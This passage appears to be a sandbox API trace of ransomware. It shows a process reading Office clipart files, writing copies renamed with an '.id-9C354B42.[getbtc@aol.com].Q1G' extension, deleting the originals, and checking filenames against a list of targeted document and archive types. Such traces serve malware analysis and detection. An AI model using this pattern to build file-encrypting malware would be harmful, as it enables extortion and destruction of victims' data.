Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0255.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0255.879] lstrlenW (lpString=".doc") returned 4 [0255.879] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0255.879] lstrlenW (lpString=".docx") returned 5 [0255.879] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0255.879] lstrlenW (lpString=".pdf") returned 4 [0255.879] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0255.879] lstrlenW (lpString=".xls") returned 4 [0255.879] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0255.879] lstrlenW (lpString=".xlsx") returned 5 [0255.879] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0255.879] lstrlenW (lpString=".ppt") returned 4 [0255.879] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0255.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0255.879] lstrlenW (lpString=".zip") returned 4 [0255.879] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0255.879] lstrlenW (lpString=".rar") returned 4 [0255.879] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0255.879] lstrlenW (lpString=".bz2") returned 4 [0255.879] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0255.879] lstrlenW (lpString=".7z") returned 3 [0255.879] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0255.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0255.879] lstrlenW (lpString=".dbf") returned 4 [0255.879] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0255.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0255.880] lstrlenW (lpString=".1cd") returned 4 [0255.880] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0255.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0255.880] lstrlenW (lpString=".jpg") returned 4 [0255.880] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0255.880] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0255.880] lstrlenW (lpString="J0103262.WMF") returned 12 [0255.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0255.880] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=12900) returned 1 [0255.880] CloseHandle (hObject=0x20c) returned 1 [0255.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf")) returned 0x20 [0255.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0255.881] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.881] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0255.881] GetLastError () returned 0x0 [0255.882] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x3264, lpOverlapped=0x0) returned 1 [0255.890] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x3270, lpOverlapped=0x0) returned 1 [0255.891] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.891] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.891] SetEndOfFile (hFile=0x390) returned 1 [0255.891] CloseHandle (hObject=0x390) returned 1 [0255.891] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.892] SetEndOfFile (hFile=0x20c) returned 1 [0255.896] CloseHandle (hObject=0x20c) returned 1 [0255.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.896] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf")) returned 1 [0255.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0255.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0255.897] lstrlenW (lpString=".doc") returned 4 [0255.897] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.897] lstrlenW (lpString=".docx") returned 5 [0255.897] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0255.897] lstrlenW (lpString=".pdf") returned 4 [0255.897] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.897] lstrlenW (lpString=".xls") returned 4 [0255.897] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.897] lstrlenW (lpString=".xlsx") returned 5 [0255.897] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0255.897] lstrlenW (lpString=".ppt") returned 4 [0255.897] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0255.897] lstrlenW (lpString=".zip") returned 4 [0255.897] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.897] lstrlenW (lpString=".rar") returned 4 [0255.897] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.897] lstrlenW (lpString=".bz2") returned 4 [0255.897] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.897] lstrlenW (lpString=".7z") returned 3 [0255.897] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0255.897] lstrlenW (lpString=".dbf") returned 4 [0255.897] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0255.897] lstrlenW (lpString=".1cd") returned 4 [0255.897] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0255.897] lstrlenW (lpString=".jpg") returned 4 [0255.897] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0255.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0255.898] lstrlenW (lpString=".doc") returned 4 [0255.898] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.898] lstrlenW (lpString=".docx") returned 5 [0255.898] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0255.898] lstrlenW (lpString=".pdf") returned 4 [0255.898] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.898] lstrlenW (lpString=".xls") returned 4 [0255.898] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.898] lstrlenW (lpString=".xlsx") returned 5 [0255.898] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0255.898] lstrlenW (lpString=".ppt") returned 4 [0255.898] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0255.898] lstrlenW (lpString=".zip") returned 4 [0255.898] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.898] lstrlenW (lpString=".rar") returned 4 [0255.898] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.898] lstrlenW (lpString=".bz2") returned 4 [0255.898] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.898] lstrlenW (lpString=".7z") returned 3 [0255.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0255.898] lstrlenW (lpString=".dbf") returned 4 [0255.898] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0255.898] lstrlenW (lpString=".1cd") returned 4 [0255.898] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0255.898] lstrlenW (lpString=".jpg") returned 4 [0255.898] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.898] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0255.898] lstrlenW (lpString="J0103812.WMF") returned 12 [0255.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0255.899] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=5908) returned 1 [0255.899] CloseHandle (hObject=0x20c) returned 1 [0255.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf")) returned 0x20 [0255.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0255.900] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.900] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0255.900] GetLastError () returned 0x0 [0255.900] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1714, lpOverlapped=0x0) returned 1 [0255.902] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1720, lpOverlapped=0x0) returned 1 [0255.902] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.902] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.903] SetEndOfFile (hFile=0x390) returned 1 [0255.903] CloseHandle (hObject=0x390) returned 1 [0255.903] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.903] SetEndOfFile (hFile=0x20c) returned 1 [0255.905] CloseHandle (hObject=0x20c) returned 1 [0255.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.905] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf")) returned 1 [0255.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0255.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0255.906] lstrlenW (lpString=".doc") returned 4 [0255.906] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.906] lstrlenW (lpString=".docx") returned 5 [0255.906] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0255.906] lstrlenW (lpString=".pdf") returned 4 [0255.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.906] lstrlenW (lpString=".xls") returned 4 [0255.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.906] lstrlenW (lpString=".xlsx") returned 5 [0255.906] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0255.906] lstrlenW (lpString=".ppt") returned 4 [0255.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0255.906] lstrlenW (lpString=".zip") returned 4 [0255.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.906] lstrlenW (lpString=".rar") returned 4 [0255.906] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.906] lstrlenW (lpString=".bz2") returned 4 [0255.906] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.906] lstrlenW (lpString=".7z") returned 3 [0255.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0255.906] lstrlenW (lpString=".dbf") returned 4 [0255.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0255.906] lstrlenW (lpString=".1cd") returned 4 [0255.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0255.906] lstrlenW (lpString=".jpg") returned 4 [0255.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0255.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0255.906] lstrlenW (lpString=".doc") returned 4 [0255.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.907] lstrlenW (lpString=".docx") returned 5 [0255.907] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0255.907] lstrlenW (lpString=".pdf") returned 4 [0255.907] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.907] lstrlenW (lpString=".xls") returned 4 [0255.907] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.907] lstrlenW (lpString=".xlsx") returned 5 [0255.907] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0255.907] lstrlenW (lpString=".ppt") returned 4 [0255.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0255.907] lstrlenW (lpString=".zip") returned 4 [0255.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.907] lstrlenW (lpString=".rar") returned 4 [0255.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.907] lstrlenW (lpString=".bz2") returned 4 [0255.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.907] lstrlenW (lpString=".7z") returned 3 [0255.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0255.907] lstrlenW (lpString=".dbf") returned 4 [0255.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0255.907] lstrlenW (lpString=".1cd") returned 4 [0255.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0255.908] lstrlenW (lpString=".jpg") returned 4 [0255.908] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.908] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0255.908] lstrlenW (lpString="J0103850.WMF") returned 12 [0255.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0255.909] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=23596) returned 1 [0255.909] CloseHandle (hObject=0x20c) returned 1 [0255.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf")) returned 0x20 [0255.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0255.909] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.909] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0255.910] GetLastError () returned 0x0 [0255.910] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x5c2c, lpOverlapped=0x0) returned 1 [0255.911] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x5c30, lpOverlapped=0x0) returned 1 [0255.913] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.913] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.913] SetEndOfFile (hFile=0x390) returned 1 [0255.913] CloseHandle (hObject=0x390) returned 1 [0255.913] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.913] SetEndOfFile (hFile=0x20c) returned 1 [0255.916] CloseHandle (hObject=0x20c) returned 1 [0255.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf")) returned 1 [0255.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0255.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0255.917] lstrlenW (lpString=".doc") returned 4 [0255.917] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.917] lstrlenW (lpString=".docx") returned 5 [0255.917] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0255.917] lstrlenW (lpString=".pdf") returned 4 [0255.917] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.917] lstrlenW (lpString=".xls") returned 4 [0255.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.917] lstrlenW (lpString=".xlsx") returned 5 [0255.917] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0255.917] lstrlenW (lpString=".ppt") returned 4 [0255.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0255.917] lstrlenW (lpString=".zip") returned 4 [0255.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.917] lstrlenW (lpString=".rar") returned 4 [0255.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.917] lstrlenW (lpString=".bz2") returned 4 [0255.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.917] lstrlenW (lpString=".7z") returned 3 [0255.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0255.917] lstrlenW (lpString=".dbf") returned 4 [0255.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0255.917] lstrlenW (lpString=".1cd") returned 4 [0255.917] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0255.917] lstrlenW (lpString=".jpg") returned 4 [0255.917] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0255.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0255.917] lstrlenW (lpString=".doc") returned 4 [0255.917] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.917] lstrlenW (lpString=".docx") returned 5 [0255.918] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0255.918] lstrlenW (lpString=".pdf") returned 4 [0255.918] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.918] lstrlenW (lpString=".xls") returned 4 [0255.918] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.918] lstrlenW (lpString=".xlsx") returned 5 [0255.918] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0255.918] lstrlenW (lpString=".ppt") returned 4 [0255.918] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.918] lstrlenW (lpString="C:\\Program Files\\Microsoft 